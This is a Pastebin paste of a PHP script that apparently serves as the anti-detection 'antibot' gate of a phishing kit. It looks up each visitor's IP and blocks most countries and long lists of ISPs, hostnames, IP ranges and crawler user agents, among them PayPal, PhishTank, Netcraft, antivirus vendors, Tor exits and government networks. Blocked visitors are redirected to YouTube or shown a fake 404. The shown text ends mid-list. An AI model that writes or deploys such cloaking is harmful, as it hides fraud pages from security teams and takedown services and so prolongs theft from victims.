Advertisement
Guest User

Untitled

a guest
Apr 17th, 2020
12,902
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 23.29 KB | None | 0 0
  1. <?php
  2. session_start();
  3. error_reporting(0);
  4. $config_antibot['apikey'] = 'e52955d406fcb6a4b0a9b9e9xxxxxxxxxxxxxxx'; //https://antibot.pw/dashboard/developers
  5. class Antibot
  6. {
  7.     function apikey($api_key){
  8.         $this->apikey = $api_key;
  9.     }
  10.     function get_client_ip() {
  11.         $ipaddress = '';
  12.         if (getenv('HTTP_CLIENT_IP')){
  13.             $ipaddress = getenv('HTTP_CLIENT_IP');
  14.         }
  15.         if(getenv('HTTP_X_FORWARDED_FOR')){
  16.             $ipaddress = getenv('HTTP_X_FORWARDED_FOR');
  17.         }
  18.         if(getenv('HTTP_X_FORWARDED')){
  19.             $ipaddress = getenv('HTTP_X_FORWARDED');
  20.         }
  21.         if(getenv('HTTP_FORWARDED_FOR')){
  22.             $ipaddress = getenv('HTTP_FORWARDED_FOR');
  23.         }
  24.         if(getenv('HTTP_FORWARDED')){
  25.            $ipaddress = getenv('HTTP_FORWARDED');
  26.         }
  27.         if(getenv('REMOTE_ADDR')){
  28.             $ipaddress = getenv('REMOTE_ADDR');
  29.         }
  30.         $ipaddress = explode(",",  $ipaddress);
  31.         if(preg_match("/::1|127.0.0.1/", $ipaddress[0])){
  32.             $ipaddress[0] = '23.200.91.255';
  33.         }
  34.         return $ipaddress[0];
  35.     }
  36.     function httpGet($url){
  37.         $ch = curl_init();
  38.         curl_setopt($ch, CURLOPT_URL, $url);
  39.         curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
  40.         curl_setopt($ch, CURLOPT_TIMEOUT, 30); //timeout in seconds
  41.         curl_setopt($ch, CURLOPT_RETURNTRANSFER,true);
  42.         $response = curl_exec($ch);
  43.         return $response;
  44.     }
  45.     function check(){
  46.         $ip         = $this->get_client_ip();
  47.         $respons    = $this->httpGet("https://antibot.pw/api/v2-blockers?ip=".$ip."&apikey=".$this->apikey."&ua=".urlencode($_SERVER['HTTP_USER_AGENT']));
  48.         $json       = json_decode($respons,true);
  49.         if($json['is_bot'] == 1 || $json['is_bot'] == true){
  50.             return true;
  51.         }else{
  52.             return false;
  53.         }
  54.     }
  55. }
  56. if($_SESSION['check'] == false){
  57.     $Antibot = new Antibot;
  58.     $_SESSION['check']   = true;
  59.     $Antibot->apikey( $config_antibot['apikey'] );
  60.     if($Antibot->check() == true){
  61.         $_SESSION['bot']   = true;
  62.         header('HTTP/1.0 403 Forbidden');
  63.         die("Maintance");
  64.     }
  65. }
  66.  
  67. if($_SESSION['bot'] == true ){
  68.     header('HTTP/1.0 403 Forbidden');
  69.     die("Maintance");
  70. }
  71. $ip       = $_SERVER['REMOTE_ADDR'];
  72. $getip = 'https://extreme-ip-lookup.com/json/' . $ip;
  73. $curl     = curl_init();
  74. curl_setopt($curl, CURLOPT_URL, $getip);
  75. curl_setopt($curl, CURLOPT_RETURNTRANSFER, true);
  76. curl_setopt($curl, CURLOPT_FOLLOWLOCATION, true);
  77. $content = curl_exec($curl);
  78. curl_close($curl);
  79. $details   = json_decode($content);
  80. $nama_negara = $details->country;
  81. $banned_negara = array(
  82. 'Azerbaijan',
  83. 'Anonymous Proxy',
  84. 'Asia/Pacific Region',
  85. 'Europe',
  86. 'Afghanistan',
  87. 'Albania',
  88. 'Poland',
  89. 'United States',
  90. 'Switzerland',
  91. 'United Kingdom',
  92. 'Algeria',
  93. 'Andorra',
  94. 'China',
  95. 'Angola',
  96. 'Austria',
  97. 'Bahrain',
  98. 'Bangladesh',
  99. 'Barbados',
  100. 'Belarus',
  101. 'Belgium',
  102. 'Bulgaria',
  103. 'Belize',
  104. 'India',
  105. 'South Korea',
  106. 'Benin',
  107. 'Bhutan',
  108. 'Bolivia',
  109. 'Bosnia and Herzegovina',
  110. 'Botswana',
  111. 'Spain',
  112. 'Brazil',
  113. 'Brunei',
  114. 'Burkina Faso',
  115. 'Burma',
  116. 'Burundi',
  117. 'Cambodia',
  118. 'Cameroon',
  119. 'Cabo Verde',
  120. 'Central African Republic',
  121. 'Chad',
  122. 'Comoros',
  123. 'Congo, Democratic Republic of the',
  124. 'Congo, Republic of the',
  125. 'Croatia',
  126. 'Cuba',
  127. 'Curacao',
  128. 'Czechia',
  129. 'Denmark',
  130. 'Djibouti',
  131. 'East Timor',
  132. 'Timor-Leste',
  133. 'Egypt',
  134. 'Equatorial Guinea',
  135. 'Eritrea',
  136. 'Spain',
  137. 'Estonia',
  138. 'Ethiopia',
  139. 'France',
  140. 'Gabon',
  141. 'Gambia, The',
  142. 'Georgia',
  143. 'Germany',
  144. 'Ghana',
  145. 'Grenada',
  146. 'Guatemala',
  147. 'Guinea',
  148. 'Guinea-Bissau',
  149. 'Guyana',
  150. 'Haiti',
  151. 'Holy See',
  152. 'Iceland',
  153. 'Iran',
  154. 'Iraq',
  155. 'Italy',
  156. 'Jamaica',
  157. 'Jordan',
  158. 'Kazakhstan',
  159. 'Kenya',
  160. 'Kiribati',
  161. 'Korea, North',
  162. 'Kosovo',
  163. 'Kuwait',
  164. 'Kyrgyzstan',
  165. 'Laos',
  166. 'Latvia',
  167. 'Lebanon',
  168. 'Lesotho',
  169. 'Liberia',
  170. 'Libya',
  171. 'Liechtenstein',
  172. 'Lithuania',
  173. 'Luxembourg',
  174. 'Macau',
  175. 'Macedonia',
  176. 'Madagascar',
  177. 'Malawi',
  178. 'Maldives',
  179. 'Mali',
  180. 'Marshall Islands',
  181. 'Mauritania',
  182. 'Mauritius',
  183. 'Micronesia',
  184. 'Moldova',
  185. 'Monaco',
  186. 'Mongolia',
  187. 'Montenegro',
  188. 'Morocco',
  189. 'Mozambique',
  190. 'Namibia',
  191. 'Nauru',
  192. 'Nepal',
  193. 'Netherlands',
  194. 'Nicaragua',
  195. 'Niger',
  196. 'Nigeria',
  197. 'North Korea',
  198. 'Norway',
  199. 'Oman',
  200. 'Pakistan',
  201. 'Palau',
  202. 'Palestinian Territories',
  203. 'Papua New Guinea',
  204. 'Romania',
  205. 'Korea, Republic of',
  206. 'Russia',
  207. 'Rwanda',
  208. 'Saint Kitts and Nevis',
  209. 'Saint Lucia',
  210. 'Saint Vincent and the Grenadines',
  211. 'Samoa',
  212. 'San Marino',
  213. 'Sao Tome and Principe',
  214. 'Senegal',
  215. 'Serbia',
  216. 'Seychelles',
  217. 'Sierra Leone',
  218. 'Sint Maarten',
  219. 'Slovakia',
  220. 'Slovenia',
  221. 'Solomon Islands',
  222. 'Somalia',
  223. 'South Africa',
  224. 'South Sudan',
  225. 'Sri Lanka',
  226. 'Sudan',
  227. 'Suriname',
  228. 'Swaziland',
  229. 'Sweden',
  230. 'Syria',
  231. 'Tajikistan',
  232. 'Tanzania',
  233. 'Timor-Leste',
  234. 'Togo',
  235. 'Tonga',
  236. 'Trinidad and Tobago',
  237. 'Tunisia',
  238. 'Turkey',
  239. 'Turkmenistan',
  240. 'Tuvalu',
  241. 'Uganda',
  242. 'Ukraine',
  243. 'Uzbekistan',
  244. 'Vanuatu',
  245. 'Vietnam',
  246. 'Zambia',
  247. 'Zimbabwe'
  248. );
  249. foreach ($banned_negara as $ibanned_negara) {
  250.     if (substr_count($nama_negara, $ibanned_negara) > 0) {
  251.         header('LOCATION: https://www.youtube.com/watch?v=LUYdzQN6v38');
  252.         die("<h1>404 Not Found</h1>The page that you have requested could not be found.");
  253.     }
  254. }
  255.  
  256.  
  257. $ip       = $_SERVER['REMOTE_ADDR'];
  258. $getip = 'https://extreme-ip-lookup.com/json/' . $ip;
  259. $curl     = curl_init();
  260. curl_setopt($curl, CURLOPT_URL, $getip);
  261. curl_setopt($curl, CURLOPT_RETURNTRANSFER, true);
  262. curl_setopt($curl, CURLOPT_FOLLOWLOCATION, true);
  263. $content = curl_exec($curl);
  264. curl_close($curl);
  265. $details   = json_decode($content);
  266. $nama_negara = $details->country;
  267. $ispnya    = $details->isp;
  268. $banned_isp = array(
  269. 'PEAK',
  270. 'Falco Networks B.V.',
  271. 'Fortinet Technologies',
  272. 'Namecheap Inc.',
  273. 'Kaspersky Lab AO',
  274. 'Confluence Networks Inc',
  275. 'Allstream Business US, LLC',
  276. 'Secure Computing Corp. . Fka',
  277. 'Tesonet UAB',
  278. 'Checs',
  279. 'McMaster University',
  280. 'Support Intelligence Inc',
  281. 'SingleHop LLC',
  282. 'SharkTech',
  283. 'Frantech Solutions',
  284. 'OVH Hosting Inc.',
  285. 'ServeTheWorld AS',
  286. 'CTCPL',
  287. 'TU Berlin Campus Network',
  288. 'Leaseweb USA, Inc.',
  289. 'DataCamp Limited',
  290. 'Emerald Onion',
  291. 'Hextet Systems',
  292. 'Linode LLC',
  293. 'North American Cable Television and Internet LLC',
  294. 'GZ Systems',
  295. 'NForce Entertainment B.V.',
  296. 'Private Layer Inc',
  297. 'M247 Ltd',
  298. 'Cloud Plus Pty Ltd',
  299. 'COLT Telecom-CUST',
  300. 'Amsterdam Residential Television and Internet LLC',
  301. 'Alentus Corporation',
  302. 'Telcoinabox',
  303. 'GigeNET',
  304. 'UnmeteredInternet.com',
  305. 'Estoxy OU',
  306. 'Amanah Tech Inc.',
  307. 'FixedRoute Ltd',
  308. 'Axtel, S.A.B. de C.V.',
  309. 'New Dream Network LLC',
  310. 'Vancouver Coastal Health',
  311. 'Handy Networks, LLC',
  312. 'Quonix Networks Inc.',
  313. 'Take 2 Hosting, Inc',
  314. 'EGIHosting',
  315. 'Google LLC',
  316. 'Meow Global Networks Inc.',
  317. 'Overkill Alpha s.r.o.',
  318. 'ForcePoint Cloud Ltd',
  319. 'TOT Public Company Limited',
  320. 'LG DACOM Corporation',
  321. 'ChinaNet',
  322. 'British Telecommunications PLC',
  323. 'Ipg',
  324. 'Level 3',
  325. 'Digiweb ltd',
  326. 'Uninet S.A. de C.V.',
  327. 'Eircom Limited',
  328. 'Corporacion Telemic C.A.',
  329. 'ShenZhen Sunrise Technology Co.,Ltd.',
  330. 'anyNode',
  331. 'www.amaze.com.au',
  332. 'iiNet Limited',
  333. 'Webroot Services Ltd',
  334. 'Verizon Business',
  335. 'Tencent Cloud Computing (Beijing) Co. Ltd',
  336. 'AMALYZE',
  337. 'DataCamp s.r.o.',
  338. 'PlusNet plc.',
  339. 'Privax Ltd',
  340. 'AVAST cloud',
  341. 'Web4Africa ZA',
  342. 'COMPLETEL SAS France',
  343. 'Amazon.com, Inc.',
  344. 'Akamai Technologies Inc.',
  345. 'Tzulo Inc.',
  346. 'Hetzner',
  347. 'Bitdefender SRL',
  348. 'GZ Systems Limited - Colocation in Seattle',
  349. 'Virginia Polytechnic Institute and State Univ.',
  350. 'ISH Tecnologia SA',
  351. 'GTT',
  352. 'NuNet Inc.',
  353. 'Prescient Software Inc.',
  354. 'Scrapinghub Ltd',
  355. 'CloudRoute LLC',
  356. 'Virtual Machine Solutions LLC',
  357. 'CloudVPN Inc.',
  358. 'GData',
  359. 'Barracuda Networks Inc.',
  360. 'Top Level Hosting SRL',
  361. 'LLC Globalnet',
  362. 'Gaditek Associates',
  363. 'PayPal Inc.',
  364. 'Microsoft Azure',
  365. 'Avast',
  366. 'AVG',
  367. 'Censys Inc.',
  368. 'ZoneAlarm',
  369. 'Viettel Group',
  370. 'Transtelco Inc',
  371. 'VeloCloud Networks Inc.',
  372. 'RapidDedi',
  373. 'Nodes Direct',
  374. 'Internet Security - VE',
  375. 'UNICOM Government Inc',
  376. 'Comodo Group Inc.',
  377. 'Secure Computing Corp',
  378. 'Chenhua Tech',
  379. 'factioninc.com',
  380. 'WranglerNet',
  381. 'Privactually Ltd',
  382. 'Bayer Business Services GmbH',
  383. 'DigitalOcean LLC',
  384. 'Secure Internet LLC',
  385. 'Universal College of Learning',
  386. 'Netmagic Datacenter',
  387. 'Vertical Telecoms Pty Ltd',
  388. 'Faction',
  389. 'OppoBox LLC',
  390. 'Venus Business Communications Limited',
  391. 'Zencurity ApS',
  392. 'ScanSafe Services LLC',
  393. 'YouTube LLC',
  394. 'HIVELOCITY, Inc.',
  395. 'Green House Data, Inc.',
  396. 'Cogent Communications',
  397. 'Tefincom S.a.',
  398. 'Gigared S.A.',
  399. 'Viasat Inc.',
  400. 'Randolph-Macon College',
  401. 'Lincoln Telephone',
  402. 'BlueLinx',
  403. 'Vultr Holdings LLC',
  404. 'Bilink LLC',
  405. 'ICS Advanced Technologies',
  406. 'Stofa A/S',
  407. 'Iliad',
  408. 'Hetzner Online AG',
  409. 'PPMAN Services Srl',
  410. 'central.biz.rr.com',
  411. 'LeaseWeb USA Inc.',
  412. 'Owned Networks',
  413. 'Affinity Internet Inc',
  414. 'ANS Communications Inc',
  415. 'ServerCrate',
  416. 'M247 Europe SRL',
  417. 'Pride Marketing',
  418. 'B2 Net Solutions',
  419. 'E.I. duPont de Nemours and Company',
  420. 'Northstar Technologies',
  421. 'Secure Computing Corp. ... fka',
  422. 'Peak 10',
  423. 'WestNet',
  424. 'Quasi Networks LTD',
  425. 'Iomart Hosting Limited',
  426. 'Virtela Technology Services Incorporated',
  427. 'Google',
  428. 'Rendering Partner',
  429. 'Hosting Services Inc.',
  430. 'WebsiteWelcome.com',
  431. 'PacketExchange',
  432. 'OpenDNS',
  433. 'VPN Consumer Network',
  434. 'Cap Gemini America',
  435. 'MasterCard Technologies LLC',
  436. 'EGI Internal',
  437. 'Freeport-McMoRan',
  438. 'Artel Software Corporation',
  439. 'InMotion Hosting Inc.',
  440. 'ViaSat',
  441. 'Praxair',
  442. 'Knology Inc.',
  443. 'Private Customer',
  444. 'Midcontinent Communications',
  445. 'Intel Corporation',
  446. 'Gvec.net',
  447. 'Bharti Airtel Limited',
  448. 'Ecsis.net',
  449. 'SurfControl',
  450. 'Blueriver Networking Services',
  451. 'Bjc Health System',
  452. 'Symantec Corporation',
  453. 'tw telecom holdings',
  454. 'Mysort.co.uk Limited',
  455. 'Interserver',
  456. 'Rackspace Inc',
  457. 'Cleveland Cloud',
  458. 'PSINet Inc.',
  459. 'Xhostserver',
  460. 'Cogecodata',
  461. 'JTGlobal',
  462. 'XMission, L.C.',
  463. 'Wintek',
  464. 'Wintek Corporation',
  465. 'SimpleLink LLC',
  466. 'LogicWeb',
  467. 'Santa Cruz Community Internet',
  468. 'GoDaddy.com, LLC',
  469. 'VBBCOM_Ltd',
  470. 'Server Plan S.r.l.',
  471. 'Google Fiber',
  472. 'United States Department of Justice',
  473. 'Hurricane Electric',
  474. 'DTE Energy Company',
  475. 'Microsoft Corporation',
  476. 'Florida High Speed Internet',
  477. 'Websense',
  478. 'PenTeleData',
  479. 'UUNET Technologies',
  480. 'Nortel Networks',
  481. 'Embarq Corporation',
  482. 'RCN Corporation',
  483. 'ViaWest Internet Services',
  484. 'Eli Lilly and Company',
  485. 'Syniverse Technologies, LLC',
  486. 'Bright House Networks',
  487. '5280 Enterprises LLC',
  488. 'Entergy Corporation',
  489. 'The Cosmopolitan of Las Vegas',
  490. 'Citrix VDC-HardwareLayer',
  491. 'MagneTek',
  492. 'ISP Alliance',
  493. 'Mediacom Communications Corp',
  494. 'Fairview Health Services',
  495. 'Colleges of the Fenway',
  496. 'Alcatel-Lucent Austria AG',
  497. 'Century21 Solutions',
  498. 'Linode',
  499. 'Hughes Network Systems',
  500. 'Insight Communications Company',
  501. 'Surfcontrol',
  502. 'Apple',
  503. 'Black Oak Computers Inc - WashingtonDC',
  504. 'B2B Wholesale Pty',
  505. 'Virtual Datacentre Pty',
  506. 'Advantage Computers',
  507. 'PIPEX-BLOCK1',
  508. 'EUKHOST Ltd',
  509. 'Amazon Technologies Inc.',
  510. 'Bank Of China(Hong Kong) Limited',
  511. 'Amazon.com',
  512. 'OVH Hosting',
  513. 'TalkTalk',
  514. 'IPVanish',
  515. 'Cisco Systems',
  516. 'Tehnologii Budushego LLC',
  517. 'Eonix Corporation',
  518. 'hosttech GmbH',
  519. 'Wowrack.com',
  520. 'biquity Server Solutions Los Angeles',
  521. 'SunGard Availability Services LP',
  522. 'Internap Network Services Corporation',
  523. 'Palo Alto Networks',
  524. 'PlusNet Technologies Ltd',
  525. 'Scaleway',
  526. 'Facebook',
  527. 'emeraldonion.org',
  528. 'Host1Plus',
  529. 'XO Communications',
  530. 'Nobis Technology Group',
  531. 'ExpressVPN',
  532. 'DME Hosting LLC',
  533. 'Prescient Software',
  534. 'Sungard Network Solutions',
  535. 'OVH SAS',
  536. 'Jigsaw Data Corporation',
  537. 'Iomart Hosting Ltd',
  538. 'Hosting Solution',
  539. 'Barracuda Networks',
  540. 'Solar VPS',
  541. 'PHPNET Hosting Services',
  542. 'DigitalOcean',
  543. 'Level 3 Communications',
  544. 'softlayer',
  545. 'SoftLayer Technologies',
  546. 'Complete Internet Access',
  547. 'london-tor.mooo.com',
  548. 'amazonaws',
  549. 'cyveillance',
  550. 'phishtank',
  551. 'tor.piratenpartei-nrw.de',
  552. 'cpanel66.proisp.no',
  553. 'tor-node.com',
  554. 'dreamhost',
  555. 'Involta',
  556. 'exit0.liskov.tor-relays.net',
  557. 'tor.tocici.com',
  558. 'tor.wazar.org',
  559. 'netpilot',
  560. 'calyxinstitute',
  561. 'tor-exit',
  562. 'msnbot',
  563. 'p3pwgdsn',
  564. 'netcraft',
  565. 'University of Virginia',
  566. 'trendmicro',
  567. 'ebay',
  568. 'paypal',
  569. 'torservers',
  570. 'comodo',
  571. 'ebbs.healingpathsolutions.com',
  572. 'healingpathsolutions.com',
  573. 'Solution Pro',
  574. 'Zayo Bandwidth',
  575. 'spider.clicktargetdevelopment.com',
  576. 'clicktargetdevelopment.com',
  577. 'static.spro.net',
  578. 'Digital Ocean',
  579. 'Blue Coat Systems',
  580. 'GANDI SAS',
  581. 'roamsite.com',
  582. 'Proofpoint, Inc.',
  583. 'ColoUp',
  584. 'Westnet',
  585. 'The University of Tokyo',
  586. 'University',
  587. 'University of',
  588. 'QuadraNet',
  589. 'exit-01a.noisetor.net',
  590. 'noisetor.net',
  591. 'noisetor',
  592. 'vultr.com',
  593. 'Zscaler',
  594. 'Choopa',
  595. 'RedSwitches Pty',
  596. 'Quintex Alliance Consulting',
  597. 'www16.mailshell.com',
  598. 'this.is.a.tor.exit-node.net',
  599. 'this.is.a.tor.node.xmission.com',
  600. 'colocrossing.com',
  601. 'DedFiberCo',
  602. 'crawl',
  603. 'sucuri.net',
  604. 'crawler',
  605. 'proxy',
  606. 'enom',
  607. 'CloudFlare',
  608. 'cloudflare',
  609. 'yahoo',
  610. 'trustwave',
  611. 'rima-tde.net',
  612. 'tfbnw.net',
  613. 'pacbell.net',
  614. 'tpnet.pl',
  615. 'ovh.net',
  616. 'centralnic',
  617. 'badware',
  618. 'phishing',
  619. 'antivirus',
  620. 'SiteAdvisor',
  621. 'McAfee',
  622. 'Bitdefender',
  623. 'avirasoft',
  624. 'phishtank.com',
  625. 'googleusercontent'
  626. );
  627. foreach ($banned_isp as $isps) {
  628.     if (substr_count($ispnya, $isps) > 0) {
  629.         header('LOCATION: https://www.youtube.com/watch?v=LUYdzQN6v38');
  630.         die("<h1>404 Not Found</h1>The page that you have requested could not be found.");
  631.     }
  632. }
  633.  
  634.  
  635. if (!empty($_SERVER['HTTP_USER_AGENT']))
  636.     {
  637.     $userAgents = array(
  638.         "Google",
  639.         "Slurp",
  640.         "MSNBot",
  641.         "Mozilla/5.0 zgrab/0.x",
  642.         "ia_archiver",
  643.         "python-requests",
  644.         "Wget/1.13.4 (linux-gnu)",
  645.         "Apache-HttpClient/4.5.6 (Java/1.8.0_122-ea)",
  646.         "Mozilla/4.0",
  647.         "Yandex",
  648.         "Rambler"
  649.     );
  650.     foreach($userAgents as $agent)
  651.     if (strpos($_SERVER['HTTP_USER_AGENT'], $agent) !== false)
  652.         {
  653.         header('LOCATION: https://www.youtube.com/watch?v=LUYdzQN6v38');
  654.         exit;
  655.         }
  656.     }
  657.  
  658. $hostname      = gethostbyaddr($_SERVER['REMOTE_ADDR']);
  659. $blocked_words = array(
  660.     "above",
  661.     "google",
  662.     "softlayer",
  663.     "amazonaws",
  664.     "cyveillance",
  665.     "phishtank",
  666.     "dreamhost",
  667.     "tor01.emeraldonion.org",
  668.     "netpilot",
  669.     "calyxinstitute",
  670.     "tor-exit",
  671.     "msnbot",
  672.     "p3pwgdsn",
  673.     "scan.automation.fraudwatchinternational.com",
  674.     "torexit",
  675.     "netcraft",
  676.     "trendmicro",
  677.     "ebay",
  678.     "paypal",
  679.     "torservers",
  680.     "messagelabs",
  681.     "sucuri.net",
  682.     "crawler"
  683. );
  684. foreach ($blocked_words as $word) {
  685.     if (substr_count($hostname, $word) > 0) {
  686.         header('LOCATION: https://www.youtube.com/watch?v=LUYdzQN6v38');
  687.         die("<h1>404 Not Found</h1>The page that you have requested could not be found.");
  688.        
  689.     }
  690. }
  691. $bannedIP = array(
  692. '^104.236.153.*',
  693. '^107.170.*.*',
  694. '^109.186.*.*',
  695. '^12.148.196.*',
  696. '^12.148.209.*',
  697. '^128.242.*.*',
  698. '^131.212.*.*',
  699. '^149.20.*.*',
  700. '^158.108.*.*',
  701. '^163.195.178.*',
  702. '^167.24.*.*',
  703. '^168.188.*.*',
  704. '^173.194.*.*',
  705. '^173.224.160.*',
  706. '^173.224.161.*',
  707. '^173.224.162.*',
  708. '^173.224.163.*',
  709. '^173.224.164.*',
  710. '^173.224.165.*',
  711. '^173.224.166.*',
  712. '^173.224.167.*',
  713. '^184.173.*.*',
  714. '^192.115.134.*',
  715. '^192.118.48.*',
  716. '^193.220.178.*',
  717. '^193.253.199.*',
  718. '^193.47.80.*',
  719. '^194.52.68.*',
  720. '^194.72.238.*',
  721. '^194.90.*.*',
  722. '^198.25.*.*',
  723. '^198.54.*.*',
  724. '^199.30.228.*',
  725. '^202.108.252.*',
  726. '^204.14.48.*',
  727. '^206.28.72.*',
  728. '^207.126.144.*',
  729. '^208.65.144.*',
  730. '^208.91.115.*',
  731. '^60.226.182.*',
  732. '^209.73.228.*',
  733. '^209.85.*.*',
  734. '^209.85.128.*',
  735. '^212.143.*.*',
  736. '^212.150.*.*',
  737. '^212.235.*.*',
  738. '^212.29.192.*',
  739. '^212.29.224.*',
  740. '^212.50.193.*',
  741. '^216.10.193.*',
  742. '^216.239.32.*',
  743. '^216.252.167.*',
  744. '^217.132.*.*',
  745. '^38.100.*.*',
  746. '^38.105.*.*',
  747. '^38.144.36.*',
  748. '^46.116.*.* ',
  749. '^50.7.*.*',
  750. '^50.97.*.*',
  751. '^54.176.*.*',
  752. '^62.116.207.*',
  753. '^62.90.*.*',
  754. '^64.106.213.*',
  755. '^64.124.14.*',
  756. '^64.18.*.*',
  757. '^64.233.160.*',
  758. '^64.27.2.*',
  759. '^64.37.103.*',
  760. '^64.62.136.*',
  761. '^64.62.175.*',
  762. '^66.102.*.*',
  763. '^66.135.200.*',
  764. '^66.150.14.*',
  765. '^66.205.64.*',
  766. '^66.207.120.*',
  767. '^66.221.*.*',
  768. '^66.249.*.*',
  769. '^67.15.*.*',
  770. '^67.209.128.*',
  771. '^68.65.53.71',
  772. '^69.61.12.*',
  773. '^69.65.*.*',
  774. '^72.14.192.*',
  775. '^74.125.*.*',
  776. '^81.161.59.*',
  777. '^82.166.*.*',
  778. '^85.250.*.*',
  779. '^85.64.*.*',
  780. '^89.138.*.*',
  781. '^91.103.66.*',
  782. '^93.172.*.*',
  783. '^95.76.156.*'
  784. );
  785. if (in_array($_SERVER['REMOTE_ADDR'], $bannedIP)) {
  786.         header('LOCATION: https://www.youtube.com/watch?v=LUYdzQN6v38');
  787.         die("<h1>404 Not Found</h1>The page that you have requested could not be found.");
  788.     exit();
  789. } else {
  790.     foreach ($bannedIP as $ip) {
  791.         if (preg_match('/' . $ip . '/', $_SERVER['REMOTE_ADDR'])) {
  792.         header('LOCATION: https://www.youtube.com/watch?v=LUYdzQN6v38');
  793.        die("<h1>404 Not Found</h1>The page that you have requested could not be found.");
  794.         }
  795.     }
  796. }
  797. if (preg_match('/legs\.com|bitly/si', $_SERVER["HTTP_USER_AGENT"])) {
  798.         header('LOCATION: https://www.youtube.com/watch?v=LUYdzQN6v38');
  799.        die("<h1>404 Not Found</h1>The page that you have requested could not be found.");
  800. }
  801. if (preg_match('/67\.221\.235\.(.*?)|74\.3\.160\.(.*?)/', $_SERVER['REMOTE_ADDR'])) {
  802.         header('LOCATION: https://www.youtube.com/watch?v=LUYdzQN6v38');
  803.         die("<h1>404 Not Found</h1>The page that you have requested could not be found.");
  804. }
  805. $Bot = array(
  806. "abot",
  807. "dbot",
  808. "ebot",
  809. "hbot",
  810. "kbot",
  811. "lbot",
  812. "mbot",
  813. "nbot",
  814. "obot",
  815. "pbot",
  816. "rbot",
  817. "sbot",
  818. "tbot",
  819. "vbot",
  820. "ybot",
  821. "zbot",
  822. "bot.",
  823. "bot/",
  824. "_bot",
  825. ".bot",
  826. "/bot",
  827. "-bot",
  828. ":bot",
  829. "(bot",
  830. "crawl",
  831. "slurp",
  832. "spider",
  833. "seek",
  834. "accoona",
  835. "acoon",
  836. "adressendeutschland",
  837. "ah-ha.com",
  838. "ahoy",
  839. "altavista",
  840. "ananzi",
  841. "anthill",
  842. "appie",
  843. "arachnophilia",
  844. "arale",
  845. "araneo",
  846. "aranha",
  847. "architext",
  848. "aretha",
  849. "arks",
  850. "asterias",
  851. "atlocal",
  852. "atn",
  853. "atomz",
  854. "augurfind",
  855. "backrub",
  856. "bannana_bot",
  857. "baypup",
  858. "bdfetch",
  859. "big brother",
  860. "biglotron",
  861. "bjaaland",
  862. "blackwidow",
  863. "blaiz",
  864. "blog",
  865. "blo.",
  866. "bloodhound",
  867. "boitho",
  868. "booch",
  869. "bradley",
  870. "butterfly",
  871. "calif",
  872. "cassandra",
  873. "ccubee",
  874. "cfetch",
  875. "charlotte",
  876. "churl",
  877. "cienciaficcion",
  878. "cmc",
  879. "collective",
  880. "comagent",
  881. "combine",
  882. "computingsite",
  883. "csci",
  884. "curl",
  885. "cusco",
  886. "daumoa",
  887. "deepindex",
  888. "delorie",
  889. "depspid",
  890. "deweb",
  891. "die blinde kuh",
  892. "digger",
  893. "ditto",
  894. "dmoz",
  895. "docomo",
  896. "download express",
  897. "dtaagent",
  898. "dwcp",
  899. "ebiness",
  900. "ebingbong",
  901. "e-collector",
  902. "ejupiter",
  903. "emacs-w3 search engine",
  904. "esther",
  905. "evliya celebi",
  906. "ezresult",
  907. "falcon",
  908. "felix ide",
  909. "ferret",
  910. "fetchrover",
  911. "fido",
  912. "findlinks",
  913. "fireball",
  914. "fish search",
  915. "fouineur",
  916. "funnelweb",
  917. "gazz",
  918. "gcreep",
  919. "genieknows",
  920. "getterroboplus",
  921. "geturl",
  922. "glx",
  923. "goforit",
  924. "golem",
  925. "grabber",
  926. "grapnel",
  927. "gralon",
  928. "griffon",
  929. "gromit",
  930. "grub",
  931. "gulliver",
  932. "hamahakki",
  933. "harvest",
  934. "havindex",
  935. "helix",
  936. "heritrix",
  937. "hku www octopus",
  938. "homerweb",
  939. "htdig",
  940. "html index",
  941. "html_analyzer",
  942. "htmlgobble",
  943. "hubater",
  944. "hyper-decontextualizer",
  945. "ia_archiver",
  946. "ibm_planetwide",
  947. "ichiro",
  948. "iconsurf",
  949. "iltrovatore",
  950. "image.kapsi.net",
  951. "imagelock",
  952. "incywincy",
  953. "indexer",
  954. "infobee",
  955. "informant",
  956. "ingrid",
  957. "inktomisearch.com",
  958. "inspector web",
  959. "intelliagent",
  960. "internet shinchakubin",
  961. "ip3000",
  962. "iron33",
  963. "israeli-search",
  964. "ivia",
  965. "jack",
  966. "jakarta",
  967. "javabee",
  968. "jetbot",
  969. "jumpstation",
  970. "katipo",
  971. "kdd-explorer",
  972. "kilroy",
  973. "knowledge",
  974. "kototoi",
  975. "kretrieve",
  976. "labelgrabber",
  977. "lachesis",
  978. "larbin",
  979. "legs",
  980. "libwww",
  981. "linkalarm",
  982. "link validator",
  983. "linkscan",
  984. "lockon",
  985. "lwp",
  986. "lycos",
  987. "magpie",
  988. "mantraagent",
  989. "mapoftheinternet",
  990. "marvin/",
  991. "mattie",
  992. "mediafox",
  993. "mediapartners",
  994. "mercator",
  995. "merzscope",
  996. "microsoft url control",
  997. "minirank",
  998. "miva",
  999. "mj12",
  1000. "mnogosearch",
  1001. "moget",
  1002. "monster",
  1003. "moose",
  1004. "motor",
  1005. "multitext",
  1006. "muncher",
  1007. "muscatferret",
  1008. "mwd.search",
  1009. "myweb",
  1010. "najdi",
  1011. "nameprotect",
  1012. "nationaldirectory",
  1013. "nazilla",
  1014. "ncsa beta",
  1015. "nec-meshexplorer",
  1016. "nederland.zoek",
  1017. "netcarta webmap engine",
  1018. "netmechanic",
  1019. "netresearchserver",
  1020. "netscoop",
  1021. "newscan-online",
  1022. "nhse",
  1023. "nokia6682/",
  1024. "nomad",
  1025. "noyona",
  1026. "nutch",
  1027. "nzexplorer",
  1028. "objectssearch",
  1029. "occam",
  1030. "omni",
  1031. "open text",
  1032. "openfind",
  1033. "openintelligencedata",
  1034. "orb search",
  1035. "osis-project",
  1036. "pack rat",
  1037. "pageboy",
  1038. "pagebull",
  1039. "page_verifier",
  1040. "panscient",
  1041. "parasite",
  1042. "partnersite",
  1043. "patric",
  1044. "pear.",
  1045. "pegasus",
  1046. "peregrinator",
  1047. "pgp key agent",
  1048. "phantom",
  1049. "phpdig",
  1050. "picosearch",
  1051. "piltdownman",
  1052. "pimptrain",
  1053. "pinpoint",
  1054. "pioneer",
  1055. "piranha",
  1056. "plumtreewebaccessor",
  1057. "pogodak",
  1058. "poirot",
  1059. "pompos",
  1060. "poppelsdorf",
  1061. "poppi",
  1062. "popular iconoclast",
  1063. "psycheclone",
  1064. "publisher",
  1065. "python",
  1066. "rambler",
